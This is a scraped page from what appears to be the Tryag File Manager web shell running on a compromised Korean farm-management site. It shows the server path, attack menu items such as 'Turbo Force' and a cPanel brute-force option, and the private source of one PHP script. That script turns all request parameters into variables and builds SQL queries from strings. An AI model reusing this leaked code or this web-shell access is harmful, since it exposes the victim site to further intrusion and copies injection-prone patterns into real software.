Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
nonga.eemo.co.kr
/
public_html
/
www
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/nonga.eemo.co.kr/public_html/www/farm_msg_plan_skip_reject_do.php
<? session_cache_limiter('no-cache, must-revalidate'); session_start(); header("Pragma: no-cache"); header("Cache-Control: no-cache,must-revalidate"); header("Content-Type: text/html; charset=utf-8"); include_once("dbconn.php"); include_once("lib.php"); foreach($_GET as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } foreach($_POST as $key => $value) { if($key != 'farm_contract_dong') { ${$key}=mysql_real_escape_string(trim($value)); } } $arr_rst=array(); $rs_msg=RS("select * from farm_msg_alarm where no='$msg_no' "); $rs_log=RS("select * from hatchery_plan_ok_log where no='{$rs_msg[arr_plan_ok_dong_nos]}' "); $rs_farm=RS("select * from farm where no='{$rs_log[farm_no]}' "); mysql_query("update hatchery_plan_ok_log set is_farm_confirm='-1', is_farm_confirm_date=now() where no='{$rs_log[no]}' ") or die(); mysql_query("update farm_msg_alarm set is_confirm='-1',is_chk='1', chk_date=now() where no='$msg_no' and is_confirm='0' and is_confirm_msg='1' ") or die(); $rs_condong=RS("select GROUP_CONCAT(farm_dong_info_no) as ak from farm_contract_dong where farm_contract_no='{$rs_log[contract_no]}' order by farm_dong_info_no asc "); $rs_plan_okdong=RS("select GROUP_CONCAT(dong_no) as ak from hatchery_plan_ok_log where parts_no='{$rs_log[parts_no]}' and is_farm_confirm='-1' order by dong_no asc "); $exp1=explode(",",$rs_condong[ak]); $exp2=explode(",",$rs_plan_okdong[ak]); $arr_diff = array_diff($exp1,$exp2); if(sizeof($arr_diff)==0) { //mysql_query("update farm_contract set ltms_status='2' where no='{$rs_log[contract_no]}' ") or die(mysql_error()); } $arr_rst['rst']='1'; echo urldecode(json_encode($arr_rst)); ?>